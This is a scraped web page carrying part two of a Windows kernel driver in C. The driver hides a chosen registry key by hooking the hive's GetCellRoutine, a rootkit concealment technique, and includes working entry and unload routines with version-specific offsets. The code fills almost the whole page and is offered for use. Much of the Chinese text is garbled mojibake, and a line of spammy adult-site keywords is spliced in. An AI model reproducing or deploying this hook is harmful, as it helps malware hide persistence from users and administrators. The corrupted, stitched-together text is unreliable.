List[Index->Count-1]); } } // GetCell例程的鉤子函數(shù) PVOID MyGetCellRoutine(PVOID Hive, HANDLE Cell) {。一段隱藏注冊(cè)表項(xiàng)的代碼( 二 )。" />

日本免费全黄少妇一区二区三区-高清无码一区二区三区四区-欧美中文字幕日韩在线观看-国产福利诱惑在线网站-国产中文字幕一区在线-亚洲欧美精品日韩一区-久久国产精品国产精品国产-国产精久久久久久一区二区三区-欧美亚洲国产精品久久久久

一段隱藏注冊(cè)表項(xiàng)的代碼( 二 )


}
else
{
// 一般葉索引 , 返回最后的節(jié)點(diǎn)
return g_pGetCellRoutine(Hive, Index->List[Index->Count-1]);
}
}
// GetCell例程的鉤子函數(shù)
PVOID MyGetCellRoutine(PVOID Hive, HANDLE Cell)
{
// 調(diào)用原函數(shù)
PVOID pRet = g_pGetCellRoutine(Hive, Cell);
if (pRet)
{
// 返回的是需要隱藏的節(jié)點(diǎn)
if (pRet == g_HideNode)
{
DbgPrint("GetCellRoutine(%lx, lx) = %lxn", Hive, Cell, pRet);
// 查詢、保存并返回其父鍵的最后一個(gè)子鍵的節(jié)點(diǎn)
pRet = g_LastNode = (PCM_KEY_NODE)GetLastKeyNode(Hive, g_HideNode);
DbgPrint("g_LastNode = %lxn", g_LastNode);
// 隱藏的正是最后一個(gè)節(jié)點(diǎn) , 返回空值
if (pRet == g_HideNode) pRet = NULL;
}
// 返回的是先前保存的最后一個(gè)節(jié)點(diǎn)
else if (pRet == g_LastNode)
{
DbgPrint("GetCellRoutine(%lx, lx) = %lxn", Hive, Cell, pRet);
// 清空保存值 , 并返回空值
pRet = g_LastNode = NULL;
}
}
return pRet;
}
NTSTATUS DriverUnload(PDRIVER_OBJECT pDrvObj)
{
DbgPrint("DriverUnload()n");
// 解除掛鉤
if (g_ppGetCellRoutine) *g_ppGetCellRoutine = g_pGetCellRoutine;
return STATUS_SUCCESS;
}
NTSTATUS DriverEntry(PDRIVER_OBJECT pDrvObj, PUNICODE_STRING pRegPath)
{
ULONG BuildNumber;
ULONG KeyHiveOffset;;;;;// KeyControlBlock->KeyHive
ULONG KeyCellOffset;;;;;// KeyControlBlock->KeyCell
HANDLE hKey;
PVOID KCB, Hive;
DbgPrint("DriverEntry()n");
pDrvObj->DriverUnload = DriverUnload;
// 查詢BuildNumber
if (PsGetVersion(NULL, NULL, &BuildNumber, NULL)) return STATUS_NOT_SUPPORTED;
DbgPrint("BuildNumber = %dn", BuildNumber);
// KeyControlBlock結(jié)構(gòu)各版本略有不同
// Cell的值一般小于0x80000000 , 而Hive正相反 , 以此來(lái)判斷也可以
switch (BuildNumber)
{
case 2195:;;// Win2000
KeyHiveOffset = 0xc;
KeyCellOffset = 0x10;
break;
case 2600:;;// WinXP
case 3790:;;// Win2003
KeyHiveOffset = 0x10;
KeyCellOffset = 0x14;
break;
default:
return STATUS_NOT_SUPPORTED;
}
// 打開需隱藏的鍵
hKey = OpenKeyByName(g_HideKeyName);
// 獲取該鍵的KeyControlBlock
KCB = GetKeyControlBlock(hKey);
if (KCB)
{
// 由KCB得到Hive
PHHIVE Hive = (PHHIVE)GET_PTR(KCB, KeyHive);
// GetCellRoutine在KCB中 , 保存原地址
g_ppGetCellRoutine = &Hive->GetCellRoutine;
g_pGetCellRoutine = Hive->GetCellRoutine;
DbgPrint("GetCellRoutine = %lxn", g_pGetCellRoutine);
// 獲取需隱藏的節(jié)點(diǎn)并保存
g_HideNode = (PCM_KEY_NODE)g_pGetCellRoutine(Hive, GET_PTR(KCB, KeyCell));
// 掛鉤GetCell例程
Hive->GetCellRoutine = MyGetCellRoutine;
}
ZwClose(hKey);
return STATUS_SUCCESS;
}

推薦閱讀